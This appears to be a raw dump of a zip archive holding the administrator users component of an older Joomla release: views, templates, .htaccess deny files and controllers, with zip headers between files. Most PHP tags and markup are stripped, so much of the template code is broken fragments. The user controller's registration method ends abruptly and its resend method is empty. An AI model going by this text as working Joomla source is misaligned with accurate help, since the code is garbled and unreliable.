    id); ?> escape($item->title); ?> escape($item->title); ?> pagination->orderUpIcon($i, true, 'levels.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $count, true, 'levels.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'levels.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $count, true, 'levels.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>  
    PKs>\V&com_users/views/levels/tmpl/index.htmlnuW+A PKs>\)%com_users/views/levels/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_users/views/note/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_users/views/note/index.htmlnuW+APKs>\)#com_users/views/note/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\sx"com_users/views/note/tmpl/edit.phpnuW+A
    item->id ? JText::sprintf('COM_USERS_EDIT_NOTE_N', $this->item->id) : JText::_('COM_USERS_NEW_NOTE');?>
    • form->getLabel('subject'); ?> form->getInput('subject'); ?>
    • form->getLabel('user_id'); ?> form->getInput('user_id'); ?>
    • form->getLabel('catid'); ?> form->getInput('catid'); ?>
    • form->getLabel('state'); ?> form->getInput('state'); ?>
    • form->getLabel('review_time'); ?> form->getInput('review_time'); ?>
    form->getLabel('body'); ?>
    form->getInput('body'); ?>
    PKs>\6$com_users/views/note/tmpl/index.htmlnuW+APKs>\ "com_users/views/note/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors), 500); } // Get the component HTML helpers JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); parent::display($tpl); $this->addToolbar(); } /** * Display the toolbar. * * @return void * * @since 2.5 */ protected function addToolbar() { $input = JFactory::getApplication()->input; $input->set('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = UsersHelper::getActions($this->state->get('filter.category_id'), $this->item->id); JToolBarHelper::title(JText::_('COM_USERS_NOTES'), 'user'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || (count($user->getAuthorisedCategories('com_users', 'core.create'))))) { JToolBarHelper::apply('note.apply'); JToolBarHelper::save('note.save'); } if (!$checkedOut && (count($user->getAuthorisedCategories('com_users', 'core.create')))) { JToolBarHelper::save2new('note.save2new'); } // If an existing item, can save to a copy. if (!$isNew && (count($user->getAuthorisedCategories('com_users', 'core.create')) > 0)) { JToolBarHelper::save2copy('note.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('note.cancel'); } else { JToolBarHelper::cancel('note.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_USER_NOTES_EDIT'); } } PKs>\)com_users/views/level/.htaccessnuW+A Order allow,deny Deny from all PKs>\ #com_users/views/level/tmpl/edit.phpnuW+A
    • form->getLabel('title'); ?>
    • form->getInput('title'); ?>
    item->rules); ?>
    PKs>\)$com_users/views/level/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_users/views/level/tmpl/index.htmlnuW+A PKs>\q:#com_users/views/level/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_LEVEL_TITLE' : 'COM_USERS_VIEW_EDIT_LEVEL_TITLE'), 'levels-add'); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('level.apply'); JToolBarHelper::save('level.save'); } if ($canDo->get('core.create')) { JToolBarHelper::save2new('level.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')){ JToolBarHelper::save2copy('level.save2copy'); } if (empty($this->item->id)){ JToolBarHelper::cancel('level.cancel'); } else { JToolBarHelper::cancel('level.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_ACCESS_LEVELS_EDIT'); } } PKs>\V com_users/views/level/index.htmlnuW+A PKs>\)com_users/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_users/views/debuggroup/index.htmlnuW+A PKs>\)$com_users/views/debuggroup/.htaccessnuW+A Order allow,deny Deny from all PKs>\))com_users/views/debuggroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\+com_users/views/debuggroup/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
    PKs>\V*com_users/views/debuggroup/tmpl/index.htmlnuW+A PKs>\*rVB(com_users/views/debuggroup/view.html.phpnuW+Aauthorise('core.manage', 'com_users') || !JFactory::getConfig()->get('debug')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $this->actions = $this->get('DebugActions'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->group = $this->get('Group'); $this->levels = UsersHelperDebug::getLevelsOptions(); $this->components = UsersHelperDebug::getComponents(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_GROUP_TITLE', $this->group->id, $this->group->title), 'groups'); JToolBarHelper::help('JHELP_USERS_DEBUG_GROUPS'); } } PKs>\V&com_users/views/groups/tmpl/index.htmlnuW+A PKs>\)%com_users/views/groups/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ym'com_users/views/groups/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_USERS_GROUPS_CONFIRM_DELETE'); ?>
    items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if (!$user->authorise('core.admin') && (JAccess::checkGroup($item->id, 'core.admin'))) { $canEdit = false; } $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
    pagination->getListFooter(); ?>
    id); ?> |—', $item->level) ?> escape($item->title); ?> escape($item->title); ?> user_count ? $item->user_count : ''; ?> id; ?>
    PKs>\) com_users/views/groups/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_users/views/groups/index.htmlnuW+A PKs>\3$com_users/views/groups/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_GROUPS_TITLE'), 'groups'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('group.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('group.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'groups.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_USERS_GROUPS'); } } PKs>\V%com_users/views/group/tmpl/index.htmlnuW+A PKs>\t#com_users/views/group/tmpl/edit.phpnuW+A
    • form->getLabel('title'); ?> form->getInput('title'); ?>
    • form->getField('parent_id');?>
    • hidden) echo $parent_id->label; ?> input; ?>
    PKs>\)$com_users/views/group/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_users/views/group/.htaccessnuW+A Order allow,deny Deny from all PKs>\ δ#com_users/views/group/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_GROUP_TITLE' : 'COM_USERS_VIEW_EDIT_GROUP_TITLE'), 'groups-add'); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('group.apply'); JToolBarHelper::save('group.save'); } if ($canDo->get('core.create')) { JToolBarHelper::save2new('group.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('group.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('group.cancel'); } else { JToolBarHelper::cancel('group.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_GROUPS_EDIT'); } } PKs>\V com_users/views/group/index.htmlnuW+A PKs>\c'com_users/views/debuguser/view.html.phpnuW+Aauthorise('core.manage', 'com_users') || !JFactory::getConfig()->get('debug')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $this->actions = $this->get('DebugActions'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->user = $this->get('User'); $this->levels = UsersHelperDebug::getLevelsOptions(); $this->components = UsersHelperDebug::getComponents(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_USER_TITLE', $this->user->id, $this->user->name), 'user'); JToolBarHelper::help('JHELP_USERS_DEBUG_USERS'); } } PKs>\V)com_users/views/debuguser/tmpl/index.htmlnuW+A PKs>\E*com_users/views/debuguser/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
    PKs>\)(com_users/views/debuguser/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)#com_users/views/debuguser/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_users/views/debuguser/index.htmlnuW+A PKs>\@jx#com_users/views/users/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_USERS_TITLE'), 'user'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('user.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('user.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('users.activate', 'COM_USERS_TOOLBAR_ACTIVATE', true); JToolBarHelper::unpublish('users.block', 'COM_USERS_TOOLBAR_BLOCK', true); JToolBarHelper::custom('users.unblock', 'unblock.png', 'unblock_f2.png', 'COM_USERS_TOOLBAR_UNBLOCK', true); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'users.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_USERS_USER_MANAGER'); } } PKs>\)com_users/views/users/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_users/views/users/index.htmlnuW+A PKs>\V%com_users/views/users/tmpl/index.htmlnuW+A PKs>\)$com_users/views/users/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\YD1&com_users/views/users/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $loggeduser = JFactory::getUser(); ?>
    items as $i => $item) : $canEdit = $canDo->get('core.edit'); $canChange = $loggeduser->authorise('core.edit.state', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if ((!$loggeduser->authorise('core.admin')) && JAccess::check($item->id, 'core.admin')) { $canEdit = false; $canChange = false; } ?>
    pagination->getListFooter(); ?>
    id); ?>
    note_count, $item->id); ?> note_count, $item->id); ?> id); ?>
    escape($item->name); ?> escape($item->name); ?>
    escape($item->username); ?> id != $item->id) : ?> block, 'users.unblock', 'users.block'); ?> block, 'users.block', null); ?> block ? 'JNO' : 'JYES'); ?> activation, 'users.activate', null); ?> group_names, "\n") > 1) : ?> group_names); ?> escape($item->email); ?> lastvisitDate!='0000-00-00 00:00:00'):?> lastvisitDate, 'Y-m-d H:i:s'); ?> registerDate, 'Y-m-d H:i:s'); ?> id; ?>
    authorize('core.create', 'com_users') && $user->authorize('core.edit', 'com_users') && $user->authorize('core.edit.state', 'com_users')) : ?> loadTemplate('batch'); ?>
    PKs>\0h $com_users/views/users/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    1. state->get('filter.group_id'), 'onchange="this.form.submit()"'); ?>
    items as $item) : ?>
    pagination->getListFooter(); ?>
    name; ?> username; ?> group_names); ?>
    PKs>\xI,com_users/views/users/tmpl/default_batch.phpnuW+A
    PKs>\3~"com_users/views/user/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->grouplist = $this->get('Groups'); $this->groups = $this->get('AssignedGroups'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->form->setValue('password', null); $this->form->setValue('password2', null); parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); $isNew = ($this->item->id == 0); $isProfile = $this->item->id == $user->id; JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_USER_TITLE' : ($isProfile ? 'COM_USERS_VIEW_EDIT_PROFILE_TITLE' : 'COM_USERS_VIEW_EDIT_USER_TITLE')), $isNew ? 'user-add' : ($isProfile ? 'user-profile' : 'user-edit')); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('user.apply'); JToolBarHelper::save('user.save'); } if ($canDo->get('core.create')&&$canDo->get('core.manage')) { JToolBarHelper::save2new('user.save2new'); } if (empty($this->item->id)) { JToolBarHelper::cancel('user.cancel'); } else { JToolBarHelper::cancel('user.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_USER_MANAGER_EDIT'); } } PKs>\Vcom_users/views/user/index.htmlnuW+A PKs>\V$com_users/views/user/tmpl/index.htmlnuW+A PKs>\FJ50r r "com_users/views/user/tmpl/edit.phpnuW+Aform->getFieldsets(); ?>
      form->getFieldset('user_details') as $field) :?>
    • label; ?> input; ?>
    grouplist) :?>
    loadTemplate('groups');?>
    name == 'user_details') : continue; endif; echo JHtml::_('sliders.panel', JText::_($fieldset->label), $fieldset->name); ?>
      form->getFieldset($fieldset->name) as $field): ?> hidden): ?> input; ?>
    • label; ?> input; ?>
    PKs>\FK)com_users/views/user/tmpl/edit_groups.phpnuW+A groups, true); ?> PKs>\)#com_users/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_users/views/user/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_users/views/index.htmlnuW+A PKs>\C,&com_users/views/notes/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canEdit = $user->authorise('core.edit', 'com_users'); ?>
    items as $i => $item) : ?> authorise('core.edit.state', 'com_users'); ?>
    pagination->getListFooter(); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time); ?> escape($item->user_name); ?> escape($item->user_name); ?> subject) : ?> escape($item->subject); ?> catid && $item->cparams->get('image')) : ?> cparams->get('image')); ?> escape($item->category_title); ?> state, $i, 'notes.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> review_time)) : ?> escape($item->review_time); ?> id; ?>
    PKs>\6%com_users/views/notes/tmpl/index.htmlnuW+APKs>\V-$com_users/views/notes/tmpl/modal.phpnuW+A

    user->name, $this->user->id); ?>

    items)) : ?>
      items as $item) : ?>
    1. subject) : ?>

      id, $this->escape($item->subject)); ?>

      id, JText::_('COM_USERS_EMPTY_SUBJECT')); ?>

      created_time, 'D d M Y H:i'); ?>
      cparams->get('image'); ?> catid && isset($category_image)) : ?>
      escape($item->category_title); ?>
      body; ?>
    PKs>\)$com_users/views/notes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\6 com_users/views/notes/index.htmlnuW+APKs>\)com_users/views/notes/.htaccessnuW+A Order allow,deny Deny from all PKs>\c #com_users/views/notes/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->user = $this->get('User'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors), 500); } // Get the component HTML helpers JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // turn parameters into registry objects foreach ($this->items as $item) { $item->cparams = new JRegistry(); $item->cparams->loadString($item->category_params); } parent::display($tpl); $this->addToolbar(); } /** * Display the toolbar. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_NOTES_TITLE'), 'user'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('note.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('note.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('notes.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('notes.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('notes.archive'); JToolBarHelper::checkin('notes.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'notes.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('notes.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_USERS_USER_NOTES'); } } PKs>\R*^com_users/access.xmlnuW+A
    PKs>\Q]]com_users/users.xmlnuW+A com_users Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_USERS_XML_DESCRIPTION controller.php index.html router.php users.php controllers helpers models views language/en-GB.com_users.ini config.xml controller.php index.html users.php controllers helpers models views language/en-GB.com_users.ini PKs>\6com_users/users.phpnuW+Aexecute(JRequest::getCmd('task', 'display')); $controller->redirect(); PKs>\)com_users/.htaccessnuW+A Order allow,deny Deny from all PKs>\bXe00com_users/config.xmlnuW+A
    PKs>\Vcom_users/index.htmlnuW+A PKs>\$$ com_users/controllers/levels.phpnuW+A true)); } } PKs>\com_users/controllers/note.phpnuW+Ainput->get('u_id', 0, 'int'); if ($userId) { $append .= '&u_id=' . $userId; } return $append; } } PKs>\$@[com_users/controllers/level.phpnuW+Aauthorise('core.admin', $this->option) && parent::allowSave($data, $key)); } /** * Method to remove a record. */ public function delete() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JInvalid_Token')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } elseif (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_NO_LEVELS_SELECTED')); } else { // Get the model. $model = $this->getModel(); JArrayHelper::toInteger($ids); // Remove the items. if (!$model->delete($ids)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_USERS_N_LEVELS_DELETED', count($ids))); } } $this->setRedirect('index.php?option=com_users&view=levels'); } } PKs>\IJ! ! com_users/controllers/users.phpnuW+AregisterTask('block', 'changeBlock'); $this->registerTask('unblock', 'changeBlock'); } /** * Proxy for getModel. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'User', $prefix = 'UsersModel', $config = array('ignore_request' => true)) { return parent::getModel($name, $prefix, $config); } /** * Method to change the block status on a record. * * @return void * * @since 1.6 */ public function changeBlock() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('block' => 1, 'unblock' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->block($ids, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $this->setMessage(JText::plural('COM_USERS_N_USERS_BLOCKED', count($ids))); } elseif ($value == 0) { $this->setMessage(JText::plural('COM_USERS_N_USERS_UNBLOCKED', count($ids))); } } } $this->setRedirect('index.php?option=com_users&view=users'); } /** * Method to activate a record. * * @return void * * @since 1.6 */ public function activate() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->activate($ids)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_USERS_N_USERS_ACTIVATED', count($ids))); } } $this->setRedirect('index.php?option=com_users&view=users'); } } PKs>\)com_users/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\ Ey# # com_users/controllers/groups.phpnuW+A true)); } /** * Removes an item. * * Overrides JControllerAdmin::delete to check the core.admin permission. * * @since 1.6 */ function delete() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::delete(); } /** * Method to publish a list of records. * * Overrides JControllerAdmin::publish to check the core.admin permission. * * @since 1.6 */ function publish() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::publish(); } /** * Changes the order of one or more records. * * Overrides JControllerAdmin::reorder to check the core.admin permission. * * @since 1.6 */ public function reorder() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::reorder(); } /** * Method to save the submitted ordering values for records. * * Overrides JControllerAdmin::saveorder to check the core.admin permission. * * @since 1.6 */ public function saveorder() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::saveorder(); } /** * Check in of one or more records. * * Overrides JControllerAdmin::checkin to check the core.admin permission. * * @since 1.6 */ public function checkin() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::checkin(); } } PKs>\&\}}com_users/controllers/mail.phpnuW+A */ defined('_JEXEC') or die; /** * Users mail controller. * * @package Joomla.Administrator * @subpackage com_users */ class UsersControllerMail extends JControllerLegacy { public function send() { // Check for request forgeries. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $model = $this->getModel('Mail'); if ($model->send()) { $type = 'message'; } else { $type = 'error'; } $msg = $model->getError(); $this->setredirect('index.php?option=com_users&view=mail', $msg, $type); } public function cancel() { // Check for request forgeries. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php'); } } PKs>\V com_users/controllers/index.htmlnuW+A PKs>\Rsscom_users/controllers/user.phpnuW+AsetUserState('users.login.form.return', $data['return']); // Get the log in options. $options = array(); $options['remember'] = JRequest::getBool('remember', false); $options['return'] = $data['return']; // Get the log in credentials. $credentials = array(); $credentials['username'] = $data['username']; $credentials['password'] = $data['password']; // Perform the log in. if (true === $app->login($credentials, $options)) { // Success $app->setUserState('users.login.form.data', array()); $app->redirect(JRoute::_($app->getUserState('users.login.form.return'), false)); } else { // Login failed ! $data['remember'] = (int)$options['remember']; $app->setUserState('users.login.form.data', $data); $app->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } } /** * Method to log out a user. * * @since 1.6 */ public function logout() { JSession::checkToken('request') or jexit(JText::_('JInvalid_Token')); $app = JFactory::getApplication(); // Perform the log in. $error = $app->logout(); // Check if the log out succeeded. if (!($error instanceof Exception)) { // Get the return url from the request and validate that it is internal. $return = JRequest::getVar('return', '', 'method', 'base64'); $return = base64_decode($return); if (!JURI::isInternal($return)) { $return = ''; } // Redirect the user. $app->redirect(JRoute::_($return, false)); } else { $app->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } } /** * Method to register a user. * * @since 1.6 */ public function register() { JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); // Get the form data. $data = JRequest::getVar('user', array(), 'post', 'array'); // Get the model and validate the data. $model = $this->getModel('Registration', 'UsersModel'); $return = $model->validate($data); // Check for errors. if ($return === false) { // Get the validation messages. $app = &JFactory::getApplication(); $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'notice'); } else { $app->enqueueMessage($errors[$i], 'notice'); } } // Save the data in the session. $app->setUserState('users.registration.form.data', $data); // Redirect back to the registration form. $this->setRedirect('index.php?option=com_users&view=registration'); return false; } // Finish the registration. $return = $model->register($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('users.registration.form.data', $data); // Redirect back to the registration form. $message = JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_users&view=registration', $message, 'error'); return false; } // Flush the data from the session. $app->setUserState('users.registration.form.data', null); exit; } /** * Method to login a user. * * @since 1.6 */ public function remind() { // Check the request token. JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('User', 'UsersModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Submit the username remind request. $return = $model->processRemindRequest($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_REMIND_REQUEST_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the complete form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Complete failed. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the complete form. $message = JText::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Complete succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to the login form. $message = JText::_('COM_USERS_REMIND_REQUEST_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } /** * Method to login a user. * * @since 1.6 */ public function resend() { // Check for request forgeries JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); } } PKs>\gd22com_users/controllers/notes.phpnuW+A true)) { return parent::getModel($name, $prefix, $config); } } 